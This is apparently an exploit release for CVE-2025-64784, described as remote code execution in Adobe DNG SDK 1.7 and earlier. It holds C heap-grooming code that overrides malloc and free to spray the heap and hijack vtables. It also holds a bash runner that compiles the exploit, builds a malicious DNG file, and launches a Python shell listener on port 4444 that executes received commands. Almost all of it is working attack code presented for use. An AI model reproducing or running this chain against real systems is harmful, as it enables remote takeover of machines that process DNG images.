    void __attribute__((constructor)) init_heap_grooming() {
        if (getenv("HEAP_GROOM_DISABLE")) {
            return;
        }
        
        init_original_functions();
        setup_environment();
        
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "\n[HEAP_GROOM] Initializing exploit heap manager\n");
        }
        
        spray_heap();
        create_strategic_holes();
        create_target_object();
        
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Initialization complete\n");
        }
    }
    
    void __attribute__((destructor)) cleanup_heap_grooming() {
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Cleaning up\n");
        }
        
        // تحرير الكتل المرشوشة
        if (g_heap_state.sprayed_blocks) {
            for (int i = 0; i < g_heap_state.spray_count; i++) {
                if (g_heap_state.sprayed_blocks[i]) {
                    original_free(g_heap_state.sprayed_blocks[i]);
                }
            }
            original_free(g_heap_state.sprayed_blocks);
        }
        
        // تحرير الكائن المستهدف
        if (g_heap_state.target_object) {
            original_free(g_heap_state.target_object);
        }
        
        // تحرير قائمة المراقبة
        if (g_heap_state.monitored) {
            original_free(g_heap_state.monitored);
        }
    }
    
    // ============== تعويض دوال الذاكرة ==============
    void* malloc(size_t size) {
        init_original_functions();
        
        void* ptr = original_malloc(size);
        if (!ptr) {
            return NULL;
        }
        
        // تسجيل التخصيصات الضعيفة
        if (is_vulnerable_object(size)) {
            if (g_heap_state.debug_mode) {
                fprintf(stderr, "[HEAP_MONITOR] Vulnerable object: %p (0x%zx)\n", ptr, size);
            }
            
            // إذا كان هناك كائن مستهدف، نقوم بـ VTable hijacking
            if (g_heap_state.target_object) {
                void** object_vtable = (void**)((char*)ptr + g_heap_state.vtable_offset);
                void** target_vtable = (void**)((char*)g_heap_state.target_object + 
                                               g_heap_state.vtable_offset);
                
                // نسخ VTable من الكائن المستهدف
                memcpy(object_vtable, target_vtable, 3 * sizeof(void*));
                
                if (g_heap_state.debug_mode) {
                    fprintf(stderr, "[HEAP_HIJACK] VTable hijacked at %p\n", object_vtable);
                }
            }
            
            // إضافة إلى قائمة المراقبة
            if (!g_heap_state.monitored) {
                g_heap_state.monitored = original_malloc(100 * sizeof(MonitoredObject));
                g_heap_state.monitored_count = 0;
            }
            
            if (g_heap_state.monitored && g_heap_state.monitored_count < 100) {
                g_heap_state.monitored[g_heap_state.monitored_count].address = ptr;
                g_heap_state.monitored[g_heap_state.monitored_count].size = size;
                g_heap_state.monitored[g_heap_state.monitored_count].is_vulnerable = 1;
                g_heap_state.monitored[g_heap_state.monitored_count].is_hijacked = 
                    (g_heap_state.target_object != NULL);
                g_heap_state.monitored_count++;
            }
        }
        
        return ptr;
    }
    
    void free(void* ptr) {
        init_original_functions();
        
        // التحقق مما إذا كان المؤشر ينتمي إلى الكتل المرشوشة
        if (g_heap_state.sprayed_blocks) {
            for (int i = 0; i < g_heap_state.spray_count; i++) {
                if (g_heap_state.sprayed_blocks[i] == ptr) {
                    if (g_heap_state.debug_mode) {
                        fprintf(stderr, "[HEAP_MONITOR] Freed sprayed block %d: %p\n", i, ptr);
                    }
                    // لا نحرر الكتل المرشوشة
                    return;
                }
            }
        }
        
        original_free(ptr);
    }
    
    void* realloc(void* ptr, size_t size) {
        init_original_functions();
        
        // إذا كان ptr هو كائن مراقب، نسجل التغيير
        if (g_heap_state.monitored) {
            for (int i = 0; i < g_heap_state.monitored_count; i++) {
                if (g_heap_state.monitored[i].address == ptr) {
                    if (g_heap_state.debug_mode) {
                        fprintf(stderr, "[HEAP_MONITOR] Reallocating monitored object: %p\n", ptr);
                    }
                    break;
                }
            }
        }
        
        return original_realloc(ptr, size);
    }
    
    void* calloc(size_t nmemb, size_t size) {
        init_original_functions();
        return original_calloc(nmemb, size);
    }
    
    ========================
    [+] Part 3: The script
    ========================
    
    #!/bin/bash
    # run_final_exploit.sh
    
    set -euo pipefail
    
    # ============== الألوان للمخرجات ==============
    RED='\033[0;31m'
    GREEN='\033[0;32m'
    YELLOW='\033[1;33m'
    BLUE='\033[0;34m'
    NC='\033[0m' # No Color
    
    print_header() {
        echo -e "${BLUE}"
        echo "╔══════════════════════════════════════════════════════╗"
        echo "║           CVE-2025-64784 By indoushka                ║"
        echo "║        Adobe DNG SDK <= 1.7 RCE Exploit              ║"
        echo "╚══════════════════════════════════════════════════════╝"
        echo -e "${NC}"
        echo ""
    }
    
    print_step() {
        echo -e "${GREEN}[*]${NC} $1"
    }
    
    print_warning() {
        echo -e "${YELLOW}[!]${NC} $1"
    }
    
    print_error() {
        echo -e "${RED}[ERROR]${NC} $1"
    }
    
    print_success() {
        echo -e "${GREEN}[+]${NC} $1"
    }
    
    # ============== التحقق من المتطلبات ==============
    check_requirements() {
        print_step "Checking system requirements..."
        
        local missing=0
        
        # التحقق من gcc
        if ! command -v gcc &> /dev/null; then
            print_error "gcc not found"
            missing=1
        fi
        
        # التحقق من python3
        if ! command -v python3 &> /dev/null; then
            print_error "python3 not found"
            missing=1
        fi
        
        # التحقق من netcat
        if ! command -v nc &> /dev/null; then
            print_warning "netcat not found (reverse shell may not work)"
        fi
        
        # التحقق من make
        if ! command -v make &> /dev/null; then
            print_warning "make not found (DNG SDK compilation may fail)"
        fi
        
        # التحقق من بنية النظام
        local arch=$(uname -m)
        if [[ "$arch" != "x86_64" ]]; then
            print_warning "Running on $arch (expected x86_64 for exploit)"
        fi
        
        if [[ $missing -eq 1 ]]; then
            print_error "Missing requirements. Install with:"
            echo "  sudo apt install gcc python3 netcat make"
            exit 1
        fi
        
        print_success "Requirements check passed"
    }
    
    # ============== التجميع ==============
    compile_exploit() {
        print_step "Compiling exploit components..."
        
        # 1. تجميع heap groomer
        if [[ -f "heap_groom_final.c" ]]; then
            print_step "Compiling heap_groom_final.so..."
            gcc -shared -fPIC -o heap_groom_final.so heap_groom_final.c -ldl -Wall
            if [[ ! -f "heap_groom_final.so" ]]; then
                print_error "Failed to compile heap_groom_final.so"
                exit 1
            fi
            print_success "heap_groom_final.so compiled"
        fi
        
        # 2. تجميع الاستغلال الرئيسي
        if [[ -f "final_exploit_cve_2025_64784.c" ]]; then
            print_step "Compiling final_exploit..."
            gcc -o final_exploit final_exploit_cve_2025_64784.c -ldl -Wall
            if [[ ! -f "final_exploit" ]]; then
                print_error "Failed to compile final_exploit"
                exit 1
            fi
            print_success "final_exploit compiled"
        fi
        
        # 3. تجميع DNG SDK إذا كان موجوداً
        if [[ -f "dng_sdk/Makefile" ]]; then
            print_step "Compiling vulnerable DNG SDK..."
            cd dng_sdk && make -j$(nproc) && cd ..
            if [[ -f "dng_sdk/dng_validate" ]]; then
                ln -sf dng_sdk/dng_validate ./
                print_success "DNG SDK compiled"
            fi
        fi
    }
    
    # ============== إنشاء ملفات DNG ==============
    create_dng_files() {
        print_step "Creating DNG exploit files..."
        
        if [[ ! -f "create_malicious_dng.py" ]]; then
            print_warning "create_malicious_dng.py not found"
            return
        fi
        
        # إنشاء ملف DNG أساسي
        python3 create_malicious_dng.py
        
        if [[ -f "exploit.dng" ]]; then
            local size=$(stat -c%s "exploit.dng")
            print_success "Created exploit.dng ($size bytes)"
        else
            print_error "Failed to create exploit.dng"
        fi
    }
    
    # ============== تشغيل Listener متقدم ==============
    start_advanced_listener() {
        print_step "Starting reverse shell listener..."
        
        # إنشاء script listener متقدم
        cat > advanced_listener.py << 'EOF'
    #!/usr/bin/env python3
    import socket
    import subprocess
    import sys
    import os
    import threading
    
    PORT = 4444
    HOST = '0.0.0.0'
    
    def handle_client(client_socket, address):
        print(f"[*] Connection from {address[0]}:{address[1]}")
        
        # إرسال banner
        banner = b"\n[+] CVE-2025-64784 Exploit Successful!\n"
        banner += b"[+] Remote Code Execution Achieved\n\n"
        client_socket.send(banner)
        
        # توجيه الأوامر إلى shell
        while True:
            try:
                # إرسال prompt
                client_socket.send(b"$ ")
                
                # استقبال الأمر
                command = b""
                while True:
                    data = client_socket.recv(1)
                    if not data or data == b"\n":
                        break
                    command += data
                
                command = command.decode('utf-8', errors='ignore').strip()
                
                if command.lower() in ['exit', 'quit']:
                    break
                
                if command:
                    print(f"[CMD] {command}")
                    
                    # تنفيذ الأمر
                    try:
                        result = subprocess.check_output(
                            command, 
                            shell=True, 
                            stderr=subprocess.STDOUT,
                            timeout=5
                        )
                        client_socket.send(result + b"\n")
                    except subprocess.CalledProcessError as e:
                        client_socket.send(e.output + b"\n")
                    except subprocess.TimeoutExpired:
                        client_socket.send(b"Command timed out\n")
            except Exception as e:
                print(f"[ERROR] {e}")
                break
        
        client_socket.close()
        print(f"[*] Connection closed: {address[0]}:{address[1]}")
    
    def main():
        # إنشاء socket
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        
        try:
            server.bind((HOST, PORT))
            server.listen(5)
            print(f"[*] Listening on {HOST}:{PORT}")
            print("[*] Waiting for exploit to trigger...")
            
            while True:
                client, address = server.accept()
                client_handler = threading.Thread(
                    target=handle_client, 
                    args=(client, address)
                )
                client_handler.start()
        except KeyboardInterrupt:
            print("\n[*] Shutting down listener")
        except Exception as e:
            print(f"[ERROR] {e}")
        finally:
            server.close()
    
    if __name__ == "__main__":
        main()
    EOF
        
        chmod +x advanced_listener.py
        
        # تشغيل الـ listener في الخلفية
        ./advanced_listener.py &
        LISTENER_PID=$!
        
        echo $LISTENER_PID > .listener.pid
        print_success "Listener started with PID: $LISTENER_PID"
        
        # الانتظار للتأكد من بدء الـ listener
        sleep 3
    }
    
    # ============== تنفيذ الاستغلال ==============
    run_exploit() {
        print_step "Running exploit chain..."
        
        # تعيين إعدادات Heap Grooming
        export HEAP_DEBUG=1
        export HEAP_SPRAY_COUNT=400
        export HEAP_SPRAY_SIZE=8192
        export HEAP_TARGET_SIZE=1024
        export HEAP_VTABLE_OFFSET=0x28
        
        print_step "Heap grooming configuration:"
        echo "  SPRAY_COUNT: $HEAP_SPRAY_COUNT"
        echo "  SPRAY_SIZE:  $HEAP_SPRAY_SIZE"
        echo "  TARGET_SIZE: $HEAP_TARGET_SIZE"
        echo "  VTABLE_OFFSET: $HEAP_VTABLE_OFFSET"
        
        local input_dng="exploit.dng"
        local output_dng="final_exploit.dng"
        
        if [[ ! -f "$input_dng" ]]; then
            print_error "Input DNG not found: $input_dng"
            return 1
        fi
        
        # تشغيل الاستغلال
        print_step "Executing: ./final_exploit $input_dng $output_dng 0"
        echo ""
        
        if [[ -f "./final_exploit" ]]; then
            timeout 30 ./final_exploit "$input_dng" "$output_dng" 0 2>&1 | tee exploit.log
            local exit_code=${PIPESTATUS[0]}
            
            echo ""
            if [[ $exit_code -eq 0 ]]; then
                print_success "Exploit execution completed"
            elif [[ $exit_code -eq 124 ]]; then
                print_warning "Exploit timed out (may still have worked)"
            else
                print_error "Exploit failed with exit code: $exit_code"
            fi
        else
            print_error "final_exploit binary not found"
            return 1
        fi
        
        return 0
    }
    
    # ============== عرض النتائج ==============
    show_results() {
        print_step "Exploit Results Summary"
        echo "========================================"
        
        # التحقق من وجود reverse shell
        if [[ -f ".listener.pid" ]]; then
            local listener_pid=$(cat .listener.pid)
            if ps -p "$listener_pid" > /dev/null 2>&1; then
                print_warning "Listener still running (PID: $listener_pid)"
                print_step "Connect to reverse shell: nc -nv 127.0.0.1 4444"
            else
                print_success "Listener completed (check exploit.log for shell output)"
            fi
        fi
        
        # عرض سجل الأخطاء
        if [[ -f "exploit.log" ]]; then
            local error_count=$(grep -c -i "error\|fail\|segmentation" exploit.log)
            local success_count=$(grep -c -i "success\|hijack\|shell" exploit.log)
            
            echo ""
            echo "Log Analysis:"
            echo "  Errors/Warnings: $error_count"
            echo "  Success indicators: $success_count"
            
            if [[ $success_count -gt 0 ]]; then
                print_success "Exploit shows signs of success!"
            fi
        fi
        
        # التحقق من الملفات الناتجة
        echo ""
        echo "Generated files:"
        [[ -f "final_exploit.dng" ]] && echo "  ✓ final_exploit.dng"
        [[ -f "exploit.log" ]] && echo "  ✓ exploit.log"
        [[ -f "exploit_full.log" ]] && echo "  ✓ exploit_full.log"
        
        echo ""
        print_step "Next steps:"
        echo "1. Check for reverse shell connection"
        echo "2. Review exploit.log for detailed output"
        echo "3. Adjust heap grooming parameters if needed"
        echo "4. Try different libc versions: 0-3"
    }
    
    # ============== التنظيف ==============
    cleanup() {
        print_step "Cleaning up..."
        
        # إيقاف الـ listener
        if [[ -f ".listener.pid" ]]; then
            local listener_pid=$(cat .listener.pid)
            if ps -p "$listener_pid" > /dev/null 2>&1; then
                kill "$listener_pid" 2>/dev/null
                wait "$listener_pid" 2>/dev/null
            fi
            rm -f .listener.pid
        fi
        
        # حذف الملفات المؤقتة
        rm -f advanced_listener.py brute_*.dng 2>/dev/null
        
        print_success "Cleanup completed"
    }
    
    # ============== الدالة الرئيسية ==============
    main() {
        print_header
        
        # معالجة Ctrl+C
        trap 'echo -e "\n${YELLOW}[!] Interrupted${NC}"; cleanup; exit 1' INT
        
        # التحقق من أنه يتم التشغيل كـ root (مفضل للاستغلال)
        if [[ $EUID -ne 0 ]]; then
            print_warning "Running as non-root user (some operations may fail)"
            read -p "Continue anyway? (y/n): " -n 1 -r
            echo
            if [[ ! $REPLY =~ ^[Yy]$ ]]; then
                exit 1
            fi
        fi
        
        # تنفيذ الخطوات
        check_requirements
        compile_exploit
        create_dng_files
        
        # بدء الـ listener
        start_advanced_listener
        
        # تشغيل الاستغلال
        if run_exploit; then
            show_results
        else
            print_error "Exploit execution failed"
        fi
        
        # تنظيف
        cleanup
        
        echo ""
        print_success "Exploit script completed"
        echo -e "${BLUE}========================================${NC}"
    }
    
    # تنفيذ البرنامج الرئيسي
    if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
        main "$@"
    fi
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================